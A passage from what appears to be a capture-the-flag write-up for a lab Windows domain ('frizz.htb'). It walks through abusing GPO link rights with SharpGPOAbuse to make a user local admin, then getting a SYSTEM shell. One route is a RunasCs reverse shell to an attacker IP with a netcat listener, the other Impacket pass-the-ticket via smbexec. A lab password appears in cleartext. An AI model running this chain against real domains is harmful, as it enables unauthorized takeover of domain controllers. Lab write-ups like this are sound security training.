useraccountcontrol   : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD

We are members of Desktop Admins group (as we can see at memberof property).

In Active Directory environments, it’ always worth to enumerate Group Policy Object (GPOs), since they can be abused to escalate privileges. Enumerating Organizational Units (OUs) from linked GPOs we get:

PS C:\Users\M.SchoolBus> Get-DomainOU | select name, gplink

name               gplink
----               ------
Domain Controllers [LDAP://CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=frizz,DC=htb;0]
Class_Frizz

We have an OU called Domain Controllers and another called Class_Frizz.

Check which machines are affected by Domain Controllers GPO:

PS C:\Users\M.SchoolBus> Get-DomainOU | foreach { $ou = $_.distinguishedname; Get-DomainComputer -SearchBase $ou -Properties dnshostname | select @{Name='OU';Expression={$ou}}, @{Name='FQDN';Expression={$_.dnshostname} } }

OU                                    FQDN
--                                    ----
OU=Domain Controllers,DC=frizz,DC=htb frizzdc.frizz.htb

It affects frizzdc.frizz.htb machine, which is the current machine:

PS C:\Users\M.SchoolBus> $env:computerName

FRIZZDC

Also, if we check what users can modify this type (OUs) of GPOs we get:

PS C:\Users\M.SchoolBus> Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | where { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN, @{Name='ResolvedSID';Expression={ConvertFrom-SID $_.SecurityIdentifier}} | Format-List


ObjectDN    : OU=Domain Controllers,DC=frizz,DC=htb
ResolvedSID : frizz\M.SchoolBus

ObjectDN    : OU=Class_Frizz,DC=frizz,DC=htb
ResolvedSID : frizz\M.SchoolBus

M.SchoolBus can create links to Domain Controllers OU, allowing it to add a GPO to it.

Summarizing:

  1. There are GPOs in the victim machine.
  2. One of these GPOs is called Domain Controller and affect FRIZZDC machine (which is the current victim machine).
  3. Our user, M.SchoolBus, is able to create new link over Domain Controller, which is an OU GPO.
  4. This allow us to create a new “evil” task through a link and execute it through the manipulable GPO. Since we are able to write at Domain Controller OU, we can add the malicious GPO to that OU.

To add a malicious GPO to this Domain Controller OU, we can use SharpGPOAbuse tool. We can go to its Github repository and compile it in a Windows machine; or we could download a pre-compiled executable file from this repository. I will choose the second option. Once downloaded, transfer this tool. Create a new GPO called gunzf0x linked to Domain Controller OU:

PS C:\Users\M.SchoolBus> New-GPO -Name gunzf0x | New-GPLink -Target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB" -LinkEnabled Yes


GpoId       : 90738160-1f8b-43d1-bd1f-1c5eacc5e882
DisplayName : gunzf0x
Enabled     : True
Enforced    : False
Target      : OU=Domain Controllers,DC=frizz,DC=htb
Order       : 2

and use SharpGPOAbuse to add our current user (M.SchoolBus) as a local admin:

PS C:\Users\M.SchoolBus> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName gunzf0x

[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
[+] SID Value of M.SchoolBus = S-1-5-21-2386970044-1145388522-2932701813-1106
[+] GUID of "gunzf0x" is: {90738160-1F8B-43D1-BD1F-1C5EACC5E882}
[+] Creating file \\frizz.htb\SysVol\frizz.htb\Policies\{90738160-1F8B-43D1-BD1F-1C5EACC5E882}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!

We could wait until GPO (policies) take changes, which could take hours… or we can force it using:

PS C:\Users\M.SchoolBus> gpupdate /force

Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.

Usually for these changes to take place we need to log out and then log in again. We then disconnect and re-connect again as M.SchoolBus user:

❯ KRB5CCNAME=M.SchoolBus.ccache faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" sshpass -p '!suBcig@MehTed!R' ssh -o stricthostkeychecking=no -K M.SchoolBus@frizz.htb

M.SchoolBus@frizz.htb: Permission denied (gssapi-with-mic,keyboard-interactive).

But this time we get a permission error.

However, if we go to our f.frizzle session, M.SchoolBus user is in Administrators group:

PS C:\Users\f.frizzle> net localgroup Administrators

Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
M.SchoolBus
The command completed successfully.
Note
We cannot connect again through SSH as M.SchoolBus user since it is now an Administrator user, and Administrator users cannot connect through SSH as is explained here. Admins must be explicitly added in SSH configuration in Windows to be allowed to connect through SSH as that post explains.

Way 1: Access to M.SchoolBus user with RunasCs Link to heading

We can try to pivot to M.SchoolBus user internally using RunasCs. Pass its binary (which can be downloaded from its Github repository) to the victim machine, start a netcat listener on port 443 and run it at f.frizzle session:

PS C:\Users\f.frizzle> .\RunasCs.exe M.SchoolBus '!suBcig@MehTed!R' cmd.exe -r 10.10.16.4:443 -t 10 --bypass-uac

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-b49fd$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 2764 created in background.

and we get a shell as M.SchoolBus user; but this time this user is at Administrators group:

❯ rlwrap nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.60] 63780
Microsoft Windows [Version 10.0.20348.3207]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami

frizz\m.schoolbus

We can grab the root flag at Administrator’s Desktop.


Way 2: Export Kerberos ticket from privileged M.SchoolBus user and use it to access victim machine Link to heading

Since we have seen that our user is at Administrators user, we can request a new ticket for this user (after this user has been added to Administrators group):

❯ faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" impacket-getTGT frizz.htb/M.SchoolBus:'!suBcig@MehTed!R' -dc-ip frizz.htb

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in M.SchoolBus.ccache

Use this ticket, that will be the ticket of a privileged user, to perform a Pass the Ticket using smbexec.py tool from Impacket:

❯ KRB5CCNAME=M.SchoolBus.ccache faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" impacket-smbexec -k -no-pass frizzdc.frizz.htb

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami

nt authority\system

~Happy hacking.